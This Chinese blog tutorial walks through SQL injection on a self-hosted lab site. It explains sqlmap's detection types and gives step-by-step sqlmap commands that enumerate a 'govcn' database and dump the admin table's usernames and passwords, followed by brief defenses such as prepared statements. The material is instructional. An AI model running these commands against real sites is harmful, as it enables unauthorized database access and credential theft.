公开课-实战(快速挖掘网站漏洞并利用)

作者: 海一 分类: 分享 发布时间: 2020-02-26 23:19

SQL 注入漏洞(SQL injection)是 Web 层面最高危的漏洞之一,曾连续 3 年在 OWASP 年度十大 漏洞中排名第一。

1.1 快速搭建一个测试网站

我这边找了一个网站,方便咱们来做实验; 把安装包放到服务器根目录,然后解压缩,双击运行 NPMserv.exe;

网站组成环境:nginx+php+mysql

1.2 owasp 漏洞扫描

扫描完成会自动跳转到警报

警报则是漏洞发现的报告,由此可以发现 SQL 注入相关的漏洞

找出可以注入的 url 链接:http://192.168.1.206/dy_show.php?dy_id=38-2

1.3 SQLMAP 的使用方法

1.3.1 sqlmap 工具介绍

sqlmap 是目前功能最为强大、使用最为广泛的注入类工具,在 SecTools 安全工具排行榜(sectools.org)中位居第 30 名。
sqlmap 是开源软件,被集成于 Kali Linux,官网 www.sqlmap.org

1.3.2 sqlmap 探测方法

sqlmap 支持 5 种漏洞检测类型:

  1. 基于布尔的盲注检测 (如果一个 url 的地址为 xxxx.php?id=1,那么我们可以尝试下的加上 and 1=1(和没加 and 1=1 结果保持一致)和 and 1=2(和不加 and 1=2 结果不一致),则我们基本可以确定是存在布尔注入的. )
  2. 基于时间的盲注检测(和基于布尔的检测有些类似.通过 mysql 的 sleep(int)) 来观察浏览器的响应是否等待了你设定的那个值如果等待了,则表示执行了sleep,则基本确定是存在 sql 注入的
  3. 基于错误的检测 (组合查询语句,看是否报错(在服务器没有抑制报错信息的前提下),如果报错 则证明我们组合的查询语句特定的字符被应用了,如果不报错,则我们输入的特殊字符很可能被服务器给过滤掉(也可能是抑制了错误输出.))
  4. 基于 union 联合查询的检测(适用于如果某个 web 项目对查询结果只展示一条而我们需要多条的时候 则使用 union 联合查询搭配 group_concat 还可以获取更多的信息)
  5. 基于堆叠查询的检测(首先看服务器支不支持多语句查询,一般服务器 sql 语句都是写死的,某些特定的地方用占位符来接受用户输入的变量,这样即使我们加 and 也只能执行 select(也不一定 select,主要看应用场景,总之就是服务端写了什么,你就能执行什么)查询语句,如果能插入分号;则我们后面可以自己组合update,insert,delete 等语句来进行进一步操作)

1.3.3 sqlmap 的使用方法

root@kali:~# sqlmap -u "http://192.168.1.106/dy_show.php?dy_id=1" --dbs --flush-session

--batch --beep

--dbs #数据库

--flush-session #从新探测,不使用之前探测的日志文件

--batch #默认选项

--beep #发现注入点提示一下

root@kali:~# sqlmap -u "http://192.168.1.206/dy_show.php?dy_id=38-2" --batch --dbs -v3 --tables -D "govcn"

-v3 #显示注入提交的参数

--tables #爆出数据库(govcn)中的数据表

-D #指定数据库

root@kali:~# sqlmap -u "http://192.168.1.206/dy_show.php?dy_id=38-2" --columns -T "admin" -D "govcn"

--columns #爆出数据表(admin)里面的字段

-T #指定数据表

root@kali:~# sqlmap -u "http://192.168.1.206/dy_show.php?dy_id=38-2" --dump -C "username,password" -T "admin" -D "govcn"

--dump #爆出用户名和密码

-C #指定字段

最后得出用户名和密码:

1.4 如何防御 sql 注入漏洞

Sql 注入的产生,是因为程序要接收用户输入的变量或者 URL 传递的参数,并且参数或变量会被组成 SQL 语句的一部分被执行。这些数据我们统称为外部数据,在安全领域有一条规则:外部数据不可信任。 所以我们需要通过各种方式对数据迚行检测和过滤。 1. 检查变量数据类型和格式 2. 过滤特殊符号 3. 绑定变量,使用预编译语句。#MySQL 的 mysqli 驱动提供了预编译语句的支持

总结:

1、 快速搭建一个测试网站
2、 AWVS12 漏洞扫描
3、 SQLMAP 的使用方法
4、 如何防御 sql 注入漏洞

如果觉得我的文章对您有用,请随意打赏。您的支持将鼓励我继续创作!

发表评论

电子邮件地址不会被公开。